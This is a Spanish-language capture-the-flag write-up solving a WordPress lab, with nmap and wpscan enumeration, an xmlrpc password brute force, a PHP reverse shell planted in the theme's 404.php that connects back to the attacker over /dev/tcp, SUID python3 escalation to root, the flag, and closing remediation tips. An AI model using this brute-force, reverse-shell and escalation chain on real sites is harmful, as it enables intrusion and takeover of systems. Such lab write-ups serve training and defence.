GhostLabs logo

GhostLabs

red team operations  ::  offensive security
⚠ write-up — wordpress privesc
⚠   SPOILER — Lee esto solo después de intentar resolver el laboratorio   ⚠
Laboratorio
WORDPRESS PRIVESC
Dificultad
★★★☆☆   Media (3 pts)
Servicios
SSH :2222 · Web :8080
Vectores
WP brute → shell → SUID

Flujo de ataque

01nmap → descubrir SSH (2222) y WordPress (8080)
↓
02wpscan → enumerar usuario "sheldon"
↓
03wpscan bruteforce → password "leonard"
↓
04WordPress admin → editor de temas → shell reversa como www-data
↓
05python3 con SUID → shell como root → flag.txt

Solución paso a paso

1
Reconocimiento con nmap

Escaneamos el objetivo para descubrir los servicios activos:

nmap -sV -p 2222,8080 <LAB_IP>

# Output esperado:
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian
8080/tcp open  http    Apache httpd 2.4.56

Accedemos al navegador: http://<LAB_IP>:8080 — vemos un WordPress.

2
Enumeración de usuarios WordPress

Usamos WPScan para enumerar usuarios del WordPress:

wpscan --url http://<LAB_IP>:8080 --enumerate u

WPScan descubre el usuario sheldon a través de la API REST de WordPress.

WordPress expone los usuarios por defecto en /?author=1 y en /wp-json/wp/v2/users. Siempre enumera usuarios antes de intentar fuerza bruta.
3
Fuerza bruta con WPScan

Lanzamos un ataque de diccionario sobre el usuario encontrado:

wpscan --url http://<LAB_IP>:8080        --usernames sheldon        --passwords /usr/share/wordlists/rockyou.txt        --password-attack xmlrpc
[SUCCESS] Login: sheldon / leonard
El flag --password-attack xmlrpc es mucho más rápido que el método por defecto (wp-login), ya que permite probar múltiples contraseñas por petición.
4
Shell reversa desde el editor de temas

Accedemos al panel de administración: http://<LAB_IP>:8080/wp-admin

Navegamos a Apariencia → Editor de temas. El tema activo es Twenty Twenty — seleccionamos 404.php en la lista de archivos de la derecha e inyectamos la shell PHP al inicio del bloque <?php:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/4444 0>&1'");
/**
 * The template for displaying 404 pages...
⚠️ <TU_IP> es la IP de tu Kali, no la del contenedor. Desde dentro del contenedor Docker, Kali es accesible en 172.17.0.1 (IP del bridge Docker). Compruébalo con ip a show docker0.

En Kali abrimos el listener antes de guardar:

nc -lvnp 4444

Guardamos el fichero (botón Update File) y disparamos la shell visitando cualquier URL inexistente en WordPress:

curl http://<LAB_IP>:8080/ghostlabs-pwned
⚠️ No accedas directamente al archivo .php — WordPress debe procesar la petición a través de su router para que se cargue el template 404.php.

Recibimos la shell:

www-data@ghostlabs-wordpress:/var/www/html$
Mejora la shell para trabajar cómodamente: python3 -c 'import pty; pty.spawn("/bin/bash")' Luego Ctrl+Z → stty raw -echo → fg → export TERM=xterm
5
Escalada a root — python3 SUID

Desde la shell como www-data, buscamos binarios con SUID:

find / -perm -4000 -type f 2>/dev/null

Vemos /usr/bin/python3 con SUID activo. Consultamos GTFOBins:

/usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

whoami
root
6
Captura de la flag
cat /root/flag.txt
Flag
GhostLabs{wp_2_r3v3rs3_2_su1d_0wn3d}

Remediación

Para proteger un WordPress real contra estos vectores:

# 1 — Deshabilitar el editor de temas en wp-config.php
define('DISALLOW_FILE_EDIT', true);

# 2 — Deshabilitar XML-RPC si no se usa
# Añadir en .htaccess:
<Files xmlrpc.php>
  Order Deny,Allow
  Deny from all
</Files>

# 3 — Quitar SUID de python3
chmod u-s /usr/bin/python3

# 4 — Usar contraseñas fuertes (mínimo 16 caracteres)

Recursos